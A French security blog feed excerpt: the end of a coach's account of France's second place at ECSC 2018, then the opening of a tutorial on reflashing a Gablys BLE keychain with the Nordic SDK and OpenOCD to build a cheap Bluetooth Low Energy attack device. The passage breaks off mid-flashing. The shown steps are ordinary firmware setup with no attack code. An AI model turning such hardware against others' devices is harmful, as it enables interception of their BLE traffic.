sélectionnée, à raison de la mise à disposition de 2 entraîneurs. Après quelques discussions, il fut décidé que Heurs et moi-même
soyons désignés comme entraîneurs, aux côtés de personnes de l'ANSSI. L'aventure était lancée.&lt;/p&gt;
&lt;p&gt;Il s'agissait de la première participation de la France à cette compétition, et cela signifiait plusieurs choses. La première, c'est
que nous n'avions absolument aucune idée du type et du niveau de compétition de l'ECSC: aucun write-up n'a été publié, assez peu de retours
techniques sur le contenu des épreuves ou le type de CTF. Le seul moyen de le savoir était de participer. La seconde, c'est que l'on allait
être attendus par les autres équipes, et potentiellement ciblés en tant que bleus (dans tous les sens du terme). La dernière et non des moindres,
c'est qu'une pression était présente de par l'envergure de l'évènement, que j'ai d'abord pris relativement à la légère.&lt;/p&gt;
&lt;p&gt;De mon côté, j'ai participé mais aussi organisé plusieurs CTFs (dont certains de type attaque/défense, &lt;em&gt;don't blame me&lt;/em&gt;) depuis plusieurs années,
bien que cela fait désormais un certain temps que ma participation se limite à une modeste contribution dans une équipe qui n'a vocation
qu'à s'amuser et non terminer dans le peloton de tête. Et encore, quand je trouve le temps de résoudre des épreuves et que celles-ci ne nécessitent
pas trop de temps. Le fait d'avoir des minis-moi n'aide pas, j'en ai bien peur. Toujours est-il que je ne m'estime pas être un pourfendeur de
CTF, et j'ai eu un peu de mal intérieurement à penser que je pourrais vraiment aider l'équipe à progresser.&lt;/p&gt;
&lt;p&gt;Rendez-vous fut ainsi pris pour septembre afin d'organiser la session d'entraînement de l'équipe de France.&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="premier-contact-avec-l-equipe"&gt;
&lt;h2&gt;Premier contact avec l'équipe&lt;/h2&gt;
&lt;p&gt;Début septembre, l'ANSSI avait organisé une session de deux jours pour que l'équipe et les entraîneurs puissent faire connaissance, et débutent
comme il se doit une période d'entraînement. Je ne m'étais pas trop renseigné sur les heureux sélectionnés, et je decouvris le jour J les personnes
composant cette équipe. Il y avait là 13 jeunes gens, membres de différentes équipes de CTFs françaises (Inshallhack, Aperi'kube, Hexpresso entre autres),
des habitués des CTFs et de p0wnage en série, dont un &lt;em&gt;millenial&lt;/em&gt;. Je crois que c'est à ce moment que j'ai pris conscience du temps qui a passé, et que
je me suis senti vieux.&lt;/p&gt;
&lt;p&gt;Ces deux jours ont été très instructifs et m'ont permis de faire connaissance avec l'équipe, de voir les points forts et faibles de chacun, avec toujours
ce sentiment de ne pas parler le &amp;quot;djeun's&amp;quot; actuel. Une sensation de parent, pour être totalement honnête. Ce moment où tu te sens en décalage, un peu
comme un père relou qui essaie de se la péter auprès de tes potes. Pour ne rien arranger, ma vie professionnelle m'a obligé à m'absenter à plusieurs
moments tandis que l'équipe, composée majoritairement de pentesteurs juniors ou apprenti pentesteurs, profitait pleinement des réjouissances CTFesques
prévues durant cette période. Néanmoins, un passage au bar a permis de faire plus ample connaissance autour de quelques bières, d'un diabolo menthe et de mojitos. On ne le dira jamais
assez, mais rien ne vaut quelques boissons et des anecdotes de CTF ou de pentest pour souder une équipe de CTF !&lt;/p&gt;
&lt;p&gt;Le reste de l'entraînement s'est déroulé en ligne et à distance, Ack, Heurs et moi-même distillant nos conseils et challenges maison afin de préparer au mieux
l'équipe. Cette période nous a permis aussi de mieux comprendre leur fonctionnement, et de voir dans quelle mesure ces membres d'équipes habituellement concurrentes
pouvaient s'entendre pour établir une organisation nouvelle et résoudre efficacement des challenges.&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="depart-et-arrivee-a-londres"&gt;
&lt;h2&gt;Départ et arrivée à Londres&lt;/h2&gt;
&lt;p&gt;Le voyage pour Londres s'est déroulé sans trop de problèmes (si ce n'est un bagage abandonné en gare du Nord), et nous arrivâmes à Londres à l'heure prévue. Le temps
de prendre le Tube pour nous rendre aux &lt;em&gt;Tobacco Docks&lt;/em&gt;, l'endroit où se déroule la compétition, et nous pûmes tester notre installation en conditions réelles. Vous
vous souvenez, je mentionnais un peu plus tôt notre méconnaissance de ce challenge ? Eh bien ça n'a pas loupé: nous n'avions pas prévu de switch ni de point d'accès (faute de temps)
et nous nous sommes retrouvés avec des services hébergés sur des Raspberry Pi connectés au réseau WiFi. Sans pouvoir nous connecter à ces derniers, le WiFi en place
faisant de la ségrégation de clients. Merci CISCO. A côté de nous, les Allemands ont monté un joli point d'accès en mode bridge et ont câblé tous leurs laptops à ce dernier,
avec bien sûr quelques Raspberry Pi pour les services de collaboration. Pourquoi n'y avions nous pas pensé...&lt;/p&gt;
&lt;img alt="L'équipe de France de CTF teste l'installation" src="/images/ecsc-2018/team-fr-ecsc-2018.jpg" /&gt;
&lt;p&gt;Une fois les préparatifs effectués, direction l'hôtel pour poser les valises et rejoindre l'ensemble des participants et des organisateurs pour un repas de bienvenue.
L'hôtel est superbe, juste en face du &lt;em&gt;Tower Bridge&lt;/em&gt; et à deux pas de la Tour de Londres. Dommage que le temps soit si pluvieux. Nous nous retrouvons donc au repas,
autour d'une tablée &amp;quot;France&amp;quot;, tout au fond de la salle (en bons élèves que nous sommes). Et c'est à ce moment là que survint le premier moment &lt;em&gt;awkward&lt;/em&gt;: les vidéos
de présentation des équipes. L'organisation côté France a été informée du fait qu'il faille réaliser une vidéo de présentation de l'équipe, introduisant les participants
et les entraîneurs, mais elle pensait à l'origine que ce n'était pas important. Devinez quoi ? Cela le fut. Car oui, la vidéo de présentation de chaque équipe fut
projetée, et nous nous sommes rendus compte à quel point certaines d'entre elles avaient été imaginatives. Sans parler du budget ou de la réalisation elle-même. Je
pense qu'il fut assez clair que notre participation était la première, mais elle a tout de même reçu un bon accueil. C'est juste que l'on a passé les jours suivants
à essayer d'expliquer le pourquoi des avatars présents sur notre vidéo.&lt;/p&gt;
&lt;img alt="Les avatars de l'équipe de France (une partie du moins)" src="/images/ecsc-2018/avatars.jpg" /&gt;
&lt;p&gt;Une fois le repas terminé, j'organisais une petite session de rappel sur les attaques et exploitations hardware, car ce fut un des thèmes annoncés par les organisateurs
de la compétition. L'organisation n'a eu de cesse de dire que tout ce dont on aurait besoin serait mis à disposition, j'en profitais pour faire un dernier point avec
l'équipe sur les outils et logiciels requis. Puis ce fut l'heure d'aller dormir en vue de la compétition du lendemain.&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="deux-jours-de-competition"&gt;
&lt;h2&gt;Deux jours de compétition&lt;/h2&gt;
&lt;p&gt;En tant qu'entraîneurs, Ack et moi-même avions seulement le droit de discuter avec le capitaine de l'équipe, Maki, pour faire le point et les guider en fonction des tâches à réaliser. Pour le reste, nous étions relégués dans une salle annexe, sans vue directe sur le score ni sur l'équipe. Nous n'avions
évidemment pas accès à la plateforme du CTF, et donc aucun moyen de surveiller l'évolution du classement et du score des différentes équipes en direct. Cela fut résolu assez rapidement à l'aide d'un peu de scripting Python, le score fourni par le site web de l'évènement étant synchronisé sur les scores actuels des équipes. Nous ne disposions pas des informations concernant la validation des challenges ni l'historique, mais c'était déjà mieux que rien. Nous disposions par ailleurs de Red Bull à volonté (ce qui n'était définitivement pas une bonne chose), d'un accès Internet, de prises de courant et d'une salle (trop) chauffée agrémentée de (quelques) confortables fauteuils et canapés. Le minimum vital pour survivre.&lt;/p&gt;
&lt;p&gt;La première journée s'est clôturée avec un score honorable pour notre équipe, et une troisième position plutôt encourageante. Il y a eu beaucoup de mouvement durant la dernière heure, plusieurs équipes ayant validé de nombreuses épreuves avant la clôture de la journée. Car oui, chaque journée avait son lot d'épreuves uniques, le CTF ne se déroulant pas la nuit. Après un repas bien mérité, ce fut l'heure d'aller se reposer afin de se préparer pour la seconde journée de compétition.&lt;/p&gt;
&lt;p&gt;Cette seconde journée fut rude pour l'équipe et nous-même entraîneurs, pour plusieurs raisons. La première raison est que le matériel mis à disposition pour un challenge hardware basique était limité à un seul adaptateur FTDI. L'équipe a galéré sur ce qui se présentait comme une épreuve facile, et nous avons perdu du temps précieux à casser un identifiant et un mot de passe par défaut relativement bidons. L'équipe italienne quant à elle disposait d'un programmateur adéquat (dixit leur entraîneur), et a pu extraire le firmware et chercher les chaînes de caractères. 5 minutes montre en main. C'est à ce moment là que je m'en suis voulu d'avoir fait confiance aux organisateurs, sur le fait que &amp;quot;tout le nécessaire serait fourni&amp;quot;. En ce qui concerne les épreuves hardware, il valait mieux venir équipé. On saura pour la prochaine fois. La seconde raison est propre à la plateforme de CTF, avec le souci bien connu du format de flag. Il se trouve que certaines (beaucoup ?) d'épreuves ne suivaient aucune règle quant à la structure des flags. Cela pouvait être un simple texte, ou bien une list d'adresses IP séparées par des virgules par exemple. Un autre flag devait être soumis sous forme de date/heure, mais le format donné en exemple (01/01/1970) ne permettait pas de déduire s'il s'agissait d'un format MM/DD/YYYY ou DD/MM/YYYY. Bref, il fallut se débrouiller et s'en remettre au guessing et à un poil de bruteforce pour se tirer de ces situations.&lt;/p&gt;
&lt;p&gt;Il restait toutefois une épreuve particulière à passer: le &lt;em&gt;bandstand&lt;/em&gt;. Aucune information n'a fuité sur cette épreuve (ou plutôt cette série d'épreuves), et nous stressions un peu à l'idée de devoir l'affronter. Une fois une partie des membres de l'équipe entrés, nous (entraîneurs) n'avions aucune information et l'impossibilité de communiquer avec eux. Cette épreuve était cruciale car elle permettait de remporter un nombre non-négligeable de points, dont nous avions besoin pour remonter dans le classement. Le stress était palpable, en particulier le mien qui a été augmenté par un certain nombre de Red Bulls que j'avais consommé durant les heures précédentes. En guise d'épreuve, il s'agissait d'un &lt;em&gt;escape game&lt;/em&gt; cyberpunk plutôt cool d'après l'équipe, qui l'a terminé haut la main en battant le record de temps et du nombre d'épreuves terminées ! Nous nous sommes alors senti soulagés, et l'équipe a pris les devants de la compétition en remontant à la première place. Je dois dire que ce fut un soulagement, avec l'angoisse juste après de savoir si l'équipe allait réussir à maintenir cette position.&lt;/p&gt;
&lt;p&gt;Plusieurs fois les allemands et les anglais ont chamboulé le classement de tête, mais notre équipe arrivait fièrement à contrecarrer cela et revenir en tête, le tout se jouant à quelques milliers de points (ce qui était peu vu les scores atteints à ce moment de la compétition). Pour au final se faire coiffer au poteau par l'équipe allemande, qui a validé à quelques minutes de la fin une épreuve lui donnant la victoire. Le match fut au final très serré, et la tension lors de la dernière demi-heure atroce, les deux équipes étant relativement proche au classement mais aussi physiquement: les allemands occupaient la tablée d'à côté. Cloture du score, pas d'annonce des résultats. Angoisse. Heureusement, le site de l'évènement affichait les derniers scores (vous vous souvenez, la synchronisation ;) et nous avons pu avoir le classement final: la France en seconde position. L'équipe était déçue de s'être fait déchoir de la première place à si peu de temps de la fin de la compétition, mais nous en avons profité pour débriefer avec les allemands et faire plus ample connaissance.&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="l-apres-competition"&gt;
&lt;h2&gt;L'après-compétition&lt;/h2&gt;
&lt;p&gt;l'annonce du classement final a été faite durant la soirée, dans un bar roof-top où l'ensemble des participants et des entraîneurs ont pu se remettre de leurs émotions (et les équipes enchaîner sur un concours de cul-sec avec des représentants de chaque pays, on s'amuse comme on peut). L'Allemagne a ainsi fini en première position, suivie de la France et du Royaume-Uni.&lt;/p&gt;
&lt;p&gt;Le lendemain se déroulait la cérémonie de remise des prix, organisée sur un bateau vogant sur la Tamise, où notre équipe s'est vue remettre un trophée et un prix par participant. Nous avons aussi pris la photo de l'équipe, et avons pu profiter de cette ballade pour admirer &lt;em&gt;London by night&lt;/em&gt;. Pour enchaîner avec le CTF de Hack.lu une fois rentré à l'hôtel. Je me suis acharné sur une épreuve de stéganographie qui s'est révélée être infaisable (comme nous l'avait indiqué un des membres de l'équipe allemande proche de FluxFingers), mais que voulez-vous, j'avais trouvé un &lt;em&gt;chunk&lt;/em&gt; bizarre dans un fichier ZIP et était persuadé d'être sur une piste (merci à Ange Albertini pour ses infos préciseuses sur les formats de fichiers divers et variés, c'est toujours d'un grand secours).&lt;/p&gt;
&lt;img alt="Remise des prix (crédits: ANSSI)" src="/images/ecsc-2018/remise-prix.jpg" /&gt;
&lt;p&gt;Puis taxi, Eurostar, Paris, et le retour au boulot. Cette parenthèse londonienne s'est terminée aussi vite qu'elle a commencée, mais j'en garde un bon souvenir. J'ai rencontré des types futés, qui ont été capables de s'entendre et de collaborer au sein d'une équipe soudée, capables de poncer des challenges et de persévérer, de représenter la France durant cette compétition et de terminer à la seconde place du podium alors que c'était notre première participation. A ceux-là, je leur tire mon chapeau. En tant qu'entraîneur, je n'ai pas senti que ma présence sur place ait été d'une quelconque utilité quant à la résolution technique des épreuves (pour ma part j'ai souvent servi de canard lors de &lt;em&gt;duck debugging&lt;/em&gt;), mais j'ai le sentiment d'avoir été utile quand à la préparation de l'équipe. Le rôle d'entraîneur dans le contexte de cette compétition consiste à travailler en amont, et les dés sont quasimment jetés au moment où se déroule la compétition. L'équipe fait le reste, et elle l'a très bien fait.&lt;/p&gt;
&lt;p&gt;On remet ça en 2019 ?&lt;/p&gt;
&lt;/div&gt;
</content><category term="Secu"/><category term="ecsc"/><category term="challenge"/><category term="event"/></entry><entry><title>L'attaque du porte-clé intercepteur</title><link href="https://virtualabs.fr/geekeries/L-attaque-du-porte-cle-intercepteur" rel="alternate"/><published>2017-06-29T10:24:56+02:00</published><updated>2017-06-29T10:24:56+02:00</updated><author><name>Damien Cauquil</name></author><id>tag:virtualabs.fr,2017-06-29:/geekeries/L-attaque-du-porte-cle-intercepteur</id><summary type="html">&lt;p&gt;Lors de la quinzième édition de la Nuit du Hack, qui avait lieu ce week-end au New York Hotel de Disneyland Paris, j'ai présenté un moyen simple et pas cher de concevoir un équipement permettant de réaliser des attaques sur le protocole Bluetooth Low Energy (BLE), voire de simuler le …&lt;/p&gt;</summary><content type="html">&lt;p&gt;Lors de la quinzième édition de la Nuit du Hack, qui avait lieu ce week-end au New York Hotel de Disneyland Paris, j'ai présenté un moyen simple et pas cher de concevoir un équipement permettant de réaliser des attaques sur le protocole Bluetooth Low Energy (BLE), voire de simuler le comportement de n'importe quel équipement BLE. Je n'ai pas eu le temps d'entrer dans les détails, aussi vais-je le faire dans ce billet de blog.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Recyclage de Gablys&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Cela fait quelques années que je cotoie des Gablys, des porte-clés connectés en BLE à des smartphones permettant de détecter la perte de clés ou d'objets, qui peut accessoirement être utilisé comme télécommande pour déclencher des selfies ou retrouver son smartphone égaré (une fonction de localisation inversée, en quelque sorte).&lt;/p&gt;
&lt;p&gt;Un Gablys est assez simple: l'ensemble repose sur un &lt;em&gt;transceiver&lt;/em&gt; de Nordic Semiconductor capable de communiquer en BLE, le nRF51822. Ce &lt;em&gt;transceiver&lt;/em&gt; intègre un CPU ARM ainsi qu'une mémoire Flash de 256Kio, et a la particularité d'être débuggable et programmable via &lt;em&gt;OpenOCD&lt;/em&gt;. De plus, il possède de base un bouton poussoir ainsi qu'un buzzer piezzo, qui permettent une interaction utilisateur (quoique l'on peut s'en passer selon les usages).&lt;/p&gt;
&lt;p&gt;Les avantages du nRF51822 sont multiples:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;l'alimentation est possible en 3V via une pile bouton, comme c'est le cas dans le Gablys ;&lt;/li&gt;
&lt;li&gt;la consommation est très réduite ;&lt;/li&gt;
&lt;li&gt;Nordic Semiconductor met à disposition un kit standard de développement (SDK) ;&lt;/li&gt;
&lt;li&gt;Le SDK de Nordic Semiconductor est compatible ARMGCC, autrement dit il est possible de développer, compiler et flasher un nRF51822 sous Linux.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Bref, il est dès lors possible de reprogrammer un Gablys afin de lui faire faire ce que l'on veut, à l'aide d'outils standards.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Installation des logiciels nécessaires&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Pour réussir à développer et tester un &lt;em&gt;firmware&lt;/em&gt; opensource pour Gablys, j'ai commencé par télécharger la version 11.0 du SDK de Nordic Semiconductor. Pourquoi la version 11.0 me direz-vous ? Parce que c'était celle &lt;em&gt;a priori&lt;/em&gt; employée pour développer le &lt;em&gt;firmware&lt;/em&gt; original de la bête. Notez que la dernière version du SDK devrait tout aussi bien fonctionner, mais il faudra prendre en compte les évolutions des fonctions exposées par ce dernier.&lt;/p&gt;
&lt;p&gt;Tout d'abord, on télécharge la version voulue du SDK (&lt;a class="reference external" href="https://www.nordicsemi.com/eng/nordic/download_resource/54291/56/57818446/32925"&gt;la version 12.0 par exemple&lt;/a&gt; sur le site de Nordic Semiconductor. On dézippe le fichier dans un dossier prévu à cet effet:&lt;/p&gt;
&lt;pre class="literal-block"&gt;
$ unzip nRF5_SDK_12.3.0_d7731ad.zip
$ mv nRF5_SDK_12.3.0_d7731ad nrf5-sdk
&lt;/pre&gt;
&lt;p&gt;Il nous faut ensuite installer la toolchain ARM et en ce qui me concerne j'ai préféré installer une version à jour plutôt que celle de ma debian, en la téléchargeant &lt;a class="reference external" href="https://developer.arm.com/-/media/Files/downloads/gnu-rm/6_1-2017q1/gcc-arm-none-eabi-6-2017-q1-update-linux.tar.bz2?product=GNU%20ARM%20Embedded%20Toolchain,64-bit,,Linux,6-2017-q1-update"&gt;directement à partir du site d'ARM&lt;/a&gt;. J'en ai profité pour la décompresser dans un dossier à part, nommé &lt;em&gt;toolchain&lt;/em&gt;:&lt;/p&gt;
&lt;pre class="literal-block"&gt;
$ cd nrf5-sdk &amp;amp;&amp;amp; mkdir toolchain &amp;amp;&amp;amp; cd toolchain
$ wget &amp;quot;https://developer.arm.com/-/media/Files/downloads/gnu-rm/6_1-2017q1/gcc-arm-none-eabi-6-2017-q1-update-linux.tar.bz2?product=GNU%20ARM%20Embedded%20Toolchain,64-bit,,Linux,6-2017-q1-update&amp;quot;
$ tar xvjf gcc-arm-none-eabi-6-2017-q1-update-linux.tar.bz2
&lt;/pre&gt;
&lt;p&gt;Une fois la &lt;em&gt;toolchain&lt;/em&gt; ARM décompressée, il suffit de la déclarer dans le fichier &lt;em&gt;components/toolchain/gcc/Makefile.posix&lt;/em&gt; du SDK Nordic Semiconductor:&lt;/p&gt;
&lt;pre class="literal-block"&gt;
GNU_INSTALL_ROOT := /home/virtualabs/nrf5-sdk/toolchain/gcc-arm-none-eabi-6-2017-q1-update/
GNU_VERSION := 6.3.1
GNU_PREFIX := arm-none-eabi
&lt;/pre&gt;
&lt;p&gt;Enfin, il nous faut ajouter une configuration particulière pour notre Gablys dans le fichier &lt;em&gt;examples/bsp/gablys.h&lt;/em&gt;. Pour ce faire, il suffit de copier un fichier de configuration existant:&lt;/p&gt;
&lt;pre class="literal-block"&gt;
$ cp pca20006.h gablys.h
&lt;/pre&gt;
&lt;p&gt;Nous en profitons pour ajouter une ligne dans le fichier &lt;em&gt;boards.h&lt;/em&gt; du même dossier afin de déclarer notre board:&lt;/p&gt;
&lt;pre class="literal-block"&gt;
...

#elif defined(BOARD_N5DK1)
  #include &amp;quot;n5_starterkit.h&amp;quot;
#elif defined(BOARD_GABLYS)
  #include &amp;quot;gablys.h&amp;quot;
#elif defined(BOARD_CUSTOM)
  #include &amp;quot;custom_board.h&amp;quot;
#else
#error &amp;quot;Board is not defined&amp;quot;

...
&lt;/pre&gt;
&lt;p&gt;Puis de modifier la fin du fichier afin de ne pas utiliser de quartz basse-fréquence, absent sur notre Gablys:&lt;/p&gt;
&lt;pre class="literal-block"&gt;
// Low frequency clock source to be used by the SoftDevice
#define NRF_CLOCK_LFCLKSRC      *                      \
    .source        = NRF_CLOCK_LF_SRC_RC,            \
    .rc_ctiv       = 16,                                                 \
    .rc_temp_ctiv  = 2,                                               \
   .xtal_accuracy = NRF_CLOCK_LF_XTAL_ACCURACY_250_PPM \
*
&lt;/pre&gt;
&lt;p&gt;De cette manière, tous les codes exemples fonctionneront sans problème avec notre Gablys, ce dernier ne possédant pas d'oscillateur basse-fréquence. Il est alors temps de lancer notre première compilation, et voir si ces modifications portent leurs fruits.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Première compilation&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Pour essayer notre configuration, nous allons tenter de compiler une application BLE sur mesure, &lt;em&gt;ble_app_beacon&lt;/em&gt;. Pour ce faire, nous allons ajouter une configuration propre à notre Gablys, et faire en sorte de tout configurer pour que cela compile correctement.&lt;/p&gt;
&lt;p&gt;Dans un premier temps, il nous faut créer une arborescence sur mesure:&lt;/p&gt;
&lt;pre class="literal-block"&gt;
$ cd nrf5-sdk/examples/ble_peripheral/ble_app_beacon/
$ mkdir -p gablys/s130/armgcc/
$ cp pca20006/s130/config ./gablys/s130/ -rf
$ cp pca20006/s130/armgcc ./gablys/s130/armgcc -rf
&lt;/pre&gt;
&lt;p&gt;Puis nous éditons dans un premier temps le fichier Makefile situé dans le dossier &lt;em&gt;gablys/s130/armgcc/&lt;/em&gt;, afin de déclarer notre board plutôt que celle d'origine (PCA20006). Pour ce faire, il faut changer les options de compilation &lt;strong&gt;-DBOARD_PCA20006&lt;/strong&gt; en &lt;strong&gt;-DBOARD_GABLYS&lt;/strong&gt;:&lt;/p&gt;
&lt;pre class="literal-block"&gt;
# Libraries common to all targets
LIB_FILES += \

# C flags common to all targets
CFLAGS += -DSWI_DISABLE0
CFLAGS += -DSOFTDEVICE_PRESENT
CFLAGS += -DNRF51
CFLAGS += -DNRF51822
CFLAGS += -DS130
CFLAGS += -DBLE_STACK_SUPPORT_REQD
CFLAGS += -DBOARD_GABLYS
CFLAGS += -DNRF_SD_BLE_API_VERSION=2
CFLAGS += -mcpu=cortex-m0
CFLAGS += -mthumb -mabi=aapcs
CFLAGS +=  -Wall -Werror -O3 -g3
CFLAGS += -mfloat-abi=soft
# keep every function in separate section, this allows linker to discard unused ones
CFLAGS += -ffunction-sections -fdata-sections -fno-strict-aliasing
CFLAGS += -fno-builtin --short-enums

# C++ flags common to all targets
CXXFLAGS += \

# Assembler flags common to all targets
ASMFLAGS += -x assembler-with-cpp
ASMFLAGS += -DSWI_DISABLE0
ASMFLAGS += -DSOFTDEVICE_PRESENT
ASMFLAGS += -DNRF51
ASMFLAGS += -DNRF51822
ASMFLAGS += -DS130
ASMFLAGS += -DBLE_STACK_SUPPORT_REQD
ASMFLAGS += -DBOARD_GABLYS
ASMFLAGS += -DNRF_SD_BLE_API_VERSION=2
&lt;/pre&gt;
&lt;p&gt;Et on lance la compilation avec &lt;em&gt;make&lt;/em&gt;:&lt;/p&gt;
&lt;pre class="literal-block"&gt;
$ make
mkdir _build
Compiling file: nrf_log_backend_serial.c
Compiling file: nrf_log_frontend.c
Compiling file: app_button.c
Compiling file: app_error.c
Compiling file: app_error_weak.c
Compiling file: app_timer.c
Compiling file: app_util_platform.c
Compiling file: hardfault_implementation.c
Compiling file: nrf_assert.c
Compiling file: sdk_errors.c
Compiling file: boards.c
Compiling file: nrf_drv_clock.c
Compiling file: nrf_drv_common.c
Compiling file: nrf_drv_gpiote.c
Compiling file: nrf_drv_uart.c
Compiling file: bsp.c
Compiling file: bsp_nfc.c
Compiling file: main.c
Compiling file: RTT_Syscalls_GCC.c
Compiling file: SEGGER_RTT.c
Compiling file: SEGGER_RTT_printf.c
Compiling file: ble_advdata.c
Compiling file: ble_conn_params.c
Compiling file: ble_srv_common.c
Assembling file: gcc_startup_nrf51.S
Compiling file: system_nrf51.c
Compiling file: softdevice_handler.c
Linking target: _build/nrf51822_xxaa.out

   text        data     bss     dec     hex filename
  11808         136     616   12560    3110 _build/nrf51822_xxaa.out

Preparing: _build/nrf51822_xxaa.hex
Preparing: _build/nrf51822_xxaa.bin
&lt;/pre&gt;
&lt;p&gt;Le code compile parfaitement, et le Makefile produit un fichier binaire ainsi qu'un fichier au format &lt;em&gt;ihex&lt;/em&gt;, dont nous allons nous servir pour programmer le nRF51822 présent sur le Gablys.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Programmation du Gablys&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Le Makefile standard est fait pour fonctionner avec l'outil &lt;em&gt;nrfjprog&lt;/em&gt;, cependant il est possible de le faire fonctionner avec &lt;em&gt;OpenOCD&lt;/em&gt; et un STLink v2 à la chinoise.&lt;/p&gt;
&lt;blockquote&gt;
&lt;img alt="" src="/images/stlinkv2.png" /&gt;
&lt;/blockquote&gt;
&lt;p&gt;Première étape, installer &lt;em&gt;OpenOCD&lt;/em&gt;. La version 0.10.0 tirée de Github fera l'affaire. Vous pouvez tout aussi bien l'installer via les paquets standards de votre distribution, cela devrait fonctionner de la même façon.&lt;/p&gt;
&lt;p&gt;On modifie donc la fin de notre fichier Makefile pour y intégrer deux cibles: la première nommée &lt;em&gt;flash&lt;/em&gt; permettant de flasher l'application, la seconde nommée &lt;em&gt;flash_softdevice&lt;/em&gt; permettant de flasher le SoftDevice &lt;strong&gt;[1]&lt;/strong&gt;.&lt;/p&gt;
&lt;pre class="literal-block"&gt;
flash: nrf51822_xxaa
    &amp;#64;echo Flashing: $(OUTPUT_BINARY_DIRECTORY)/$&amp;lt;.hex
    openocd -f interface/stlink-v2.cfg -f target/nrf51.cfg -c init -c &amp;quot;reset init&amp;quot; -c &amp;quot;halt&amp;quot; -c &amp;quot;program _build/nrf51822_xxaa.hex verify&amp;quot; -c &amp;quot;reset&amp;quot; -c &amp;quot;exit&amp;quot;

## Flash softdevice
flash_softdevice:
    &amp;#64;echo Flashing SoftDevice s130 ...
    openocd -f interface/stlink-v2.cfg -f target/nrf51.cfg -c init -c &amp;quot;reset init&amp;quot; -c &amp;quot;halt&amp;quot; -c &amp;quot;nrf51 mass_erase&amp;quot; -c &amp;quot;program $(abspath ../../../../../../components/softdevice/s130/hex/s130_nrf51_2.0.1_softdevice.hex) verify&amp;quot; -c &amp;quot;reset&amp;quot; -c &amp;quot;exit&amp;quot;
&lt;/pre&gt;
&lt;p&gt;Ensuite, il faut connecter correctement le STLink à notre Gablys:&lt;/p&gt;
&lt;img alt="" src="/images/gablys-face.jpg" /&gt;
&lt;img alt="" src="/images/gablys-dos.jpg" /&gt;
&lt;p&gt;Puis flasher d'abord le SoftDevice, et ensuite l'application:&lt;/p&gt;
&lt;pre class="literal-block"&gt;
$ make flash_softdevice &amp;amp;&amp;amp; make flash
Flashing SoftDevice s130 ...
openocd -f interface/stlink-v2.cfg -f target/nrf51.cfg -c init -c &amp;quot;reset init&amp;quot; -c &amp;quot;halt&amp;quot; -c &amp;quot;nrf51 mass_erase&amp;quot; -c &amp;quot;program /home/virtualabs/nrf5-sdk/components/softdevice/s130/hex/s130_nrf51_2.0.1_softdevice.hex verify&amp;quot; -c &amp;quot;reset&amp;quot; -c &amp;quot;exit&amp;quot;
Open On-Chip Debugger 0.10.0+dev-00146-g1025be36 (2017-06-16-16:35)
Licensed under GNU GPL v2
For bug reports, read
    http://openocd.org/doc/doxygen/bugs.html
Info : auto-selecting first available session transport &amp;quot;hla_swd&amp;quot;. To override use 'transport select &amp;lt;transport&amp;gt;'.
Info : The selected transport took over low-level target control. The results might differ compared to plain JTAG/SWD
adapter speed: 1000 kHz
Info : Unable to match requested speed 1000 kHz, using 950 kHz
Info : Unable to match requested speed 1000 kHz, using 950 kHz
Info : clock speed 950 kHz
Info : STLINK v2 JTAG v17 API v2 SWIM v4 VID 0x0483 PID 0x3748
Info : using stlink api v2
Info : Target voltage: 3.246408
Info : nrf51.cpu: hardware has 4 breakpoints, 2 watchpoints
target halted due to debug-request, current mode: Thread
xPSR: 0xc1000000 pc: 0x000006d0 msp: 0x000007c0
Info : nRF51822-QFAA(build code: G2) 256kB Flash
target halted due to debug-request, current mode: Thread
xPSR: 0xc1000000 pc: 0xfffffffe msp: 0xfffffffc
** Programming Started **
auto erase enabled
Info : Padding image section 0 with 2112 bytes
Warn : using fast async flash loader. This is currently supported
Warn : only with ST-Link and CMSIS-DAP. If you have issues, add
Warn : &amp;quot;set WORKAREASIZE 0&amp;quot; before sourcing nrf51.cfg to disable it
target halted due to breakpoint, current mode: Thread
xPSR: 0x61000000 pc: 0x2000001e msp: 0xfffffffc
wrote 110592 bytes from file /home/virtualabs/nrf5-sdk/components/softdevice/s130/hex/s130_nrf51_2.0.1_softdevice.hex in 4.979112s (21.691 KiB/s)
** Programming Finished **
** Verify Started **
target halted due to breakpoint, current mode: Thread
xPSR: 0x61000000 pc: 0x2000002e msp: 0xfffffffc
target halted due to breakpoint, current mode: Thread
xPSR: 0x61000000 pc: 0x2000002e msp: 0xfffffffc
verified 108448 bytes in 0.698049s (151.717 KiB/s)
** Verified OK **
Flashing: /nrf51822_xxaa.hex
openocd -f interface/stlink-v2.cfg -f target/nrf51.cfg -c init -c &amp;quot;reset init&amp;quot; -c &amp;quot;halt&amp;quot; -c &amp;quot;program _build/nrf51822_xxaa.hex verify&amp;quot; -c &amp;quot;reset&amp;quot; -c &amp;quot;exit&amp;quot;
Open On-Chip Debugger 0.10.0+dev-00146-g1025be36 (2017-06-16-16:35)
Licensed under GNU GPL v2
For bug reports, read
    http://openocd.org/doc/doxygen/bugs.html
Info : auto-selecting first available session transport &amp;quot;hla_swd&amp;quot;. To override use 'transport select &amp;lt;transport&amp;gt;'.
Info : The selected transport took over low-level target control. The results might differ compared to plain JTAG/SWD
adapter speed: 1000 kHz
Info : Unable to match requested speed 1000 kHz, using 950 kHz
Info : Unable to match requested speed 1000 kHz, using 950 kHz
Info : clock speed 950 kHz
Info : STLINK v2 JTAG v17 API v2 SWIM v4 VID 0x0483 PID 0x3748
Info : using stlink api v2
Info : Target voltage: 3.246408
Info : nrf51.cpu: hardware has 4 breakpoints, 2 watchpoints
target halted due to debug-request, current mode: Thread
xPSR: 0xc1000000 pc: 0x000006d0 msp: 0x000007c0
target halted due to debug-request, current mode: Thread
xPSR: 0xc1000000 pc: 0x000006d0 msp: 0x000007c0
** Programming Started **
auto erase enabled
